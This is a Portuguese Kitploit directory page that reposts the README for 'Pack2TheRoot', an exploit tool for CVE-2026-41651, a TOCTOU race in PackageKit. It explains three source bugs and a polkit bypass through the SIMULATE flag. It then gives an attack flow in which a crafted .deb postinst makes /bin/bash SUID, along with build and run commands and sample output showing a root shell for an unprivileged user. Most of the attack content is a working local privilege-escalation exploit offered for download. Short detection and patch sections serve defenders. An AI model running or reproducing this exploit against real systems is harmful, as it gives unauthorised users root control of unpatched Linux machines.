Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-41651 — Explora uma condição de corrida TOCTOU no manipulador de transações do PackageKit para instalar pacotes arbitrários como root, alcançando escalada local de privilégios e um shell SUID sem autenticação. | Kitploit
Ferramentas/GitHubGitHub/vozec/cve-2026-41651
Escalada de PrivilégiosAnálise de VulnerabilidadesExploração
GitHubvozec/cve-2026-41651

CVE-2026-41651

Explora uma condição de corrida TOCTOU no manipulador de transações do PackageKit para instalar pacotes arbitrários como root, alcançando escalada local de privilégios e um shell SUID sem autenticação.

Ver Repositório
11418há 3 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pack2TheRoot — CVE-2026-41651

Corrida TOCTOU no manipulador de transações do PackageKit. Qualquer usuário local sem privilégios pode instalar pacotes arbitrários como root, sem autenticação.

Platform Language CVSS Status


Visão Geral

CampoValor
CVECVE-2026-41651
ComponenteDaemon do PackageKit (packagekitd)
Versões afetadas1.0.2 – 1.3.4
Corrigido em1.3.5
ImpactoEscalação local de privilégios → root
Autenticação necessáriaNenhuma
Interação do usuárioNenhuma
Testado emUbuntu 24.04, Debian 12

Demonstração

poc

Vulnerabilidade

Três bugs em src/pk-transaction.c se encadeiam para criar uma janela TOCTOU entre autorização e execução.

Bug 1 — Sobrescrita incondicional de flags (linha 4036)

InstallFiles() sobrescreve incondicionalmente cached_transaction_flags e cached_full_paths sem verificação de estado:

root@kitploit:~
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);

Bug 2 — Rejeição silenciosa de transição de estado (linhas 876–881)

pk_transaction_set_state() descarta silenciosamente transições regressivas. As flags já foram sobrescritas, mas o estado permanece inalterado:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;
}

Bug 3 — Leitura tardia das flags (linhas 2273–2277)

pk_transaction_run() lê as flags em cache no momento do despacho (a partir do idle do GLib), não no momento da autorização:

root@kitploit:~
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,
                              transaction->cached_full_paths);
    break;

Bônus — SIMULATE contorna o polkit (linhas 2893–2900)

Definir PK_TRANSACTION_FLAG_SIMULATE (bit 2, valor 0x4) ignora completamente a verificação do polkit:

root@kitploit:~
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;
}

Fluxo do Exploit

root@kitploit:~
Attacker                         packagekitd
   │                                  │
   │  CreateTransaction()             │
   │─────────────────────────────────►│  state = NEW
   │◄─────────────────────────────────│
   │                                  │
   │  InstallFiles(SIMULATE, dummy)   │
   │─────────────────────────────────►│  SIMULATE → polkit skipped
   │◄─────────────────────────────────│  state = READY
   │                                  │  g_idle_add(run_idle_cb) ← queued
   │                                  │
   │  InstallFiles(NONE, payload)     │  [BUG 1] flags + paths overwritten
   │─────────────────────────────────►│  [BUG 2] set_state(WAITING_FOR_AUTH)
   │◄─────────────────────────────────│          → silently rejected
   │                                  │          state stays READY
   │                                  │
   │                      [idle fires]│
   │                                  │  pk_transaction_run()
   │                                  │  [BUG 3] reads NONE + payload
   │                                  │  → dpkg installs payload as root
   │                                  │  → postinst: chmod +s /bin/bash
   │                                  │
   │  execv("/tmp/.suid_bash -p")     │
   │─────────────────────────────────►│
   │              euid=0(root)        │

Ambas as chamadas InstallFiles são enviadas como chamadas D-Bus assíncronas do tipo fire-and-forget antes de o loop principal do cliente iterar. Isso garante que ambas as mensagens cheguem ao socket do servidor antes de o idle do GLib disparar — não há corrida a vencer.

polkitd eventualmente retorna NOT_AUTHORIZED para a segunda chamada, mas nesse momento o APT já despachou a instalação. O erro é esperado e inofensivo.


Compilação

root@kitploit:~
sudo apt install libglib2.0-dev
make

Nenhuma outra dependência — os pacotes .deb são construídos em C puro em tempo de execução.


Uso

root@kitploit:~
./cve-2026-41651
root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

euid=0 — todas as verificações de privilégio no kernel usam o UID efetivo.


Docker

root@kitploit:~
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651

A imagem compila o PackageKit 1.3.4 a partir do código-fonte (commit 2149735, o último vulnerável), inicia dbus + polkitd + packagekitd e então executa o exploit como um usuário sem privilégios.

Nota sobre o g_assert: a imagem Docker remove a proteção g_assert (!transaction->emitted_finished) em pk-transaction.c. Em um sistema real sem o patch, esse assert dispara quando a thread do APT tenta emitir Finished depois que o polkitd já o fez, derrubando o daemon via SIGABRT. O bash SUID já está no disco nesse momento, então a escalada de privilégios funciona — a queda é um DoS como efeito colateral. O packagekitd é reiniciado na próxima ativação do D-Bus.


Detecção

No PackageKit ≥ 1.3.5, a segunda chamada é rejeitada:

root@kitploit:~
[-] Target is PATCHED (PackageKit >= 1.3.5)

A correção adiciona uma verificação de estado em pk_transaction_method_call():

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
    return;
}
root@kitploit:~
pkcon --version
journalctl -u packagekit --since '5 min ago'

Referências

  • NVD — CVE-2026-41651
  • GitHub Advisory — GHSA-f55j-vvr9-69xv
  • Telekom Security — pack2theroot
  • Commit da correção — 76cfb675
  • Anúncio no OSS-Security
Baixar ferramenta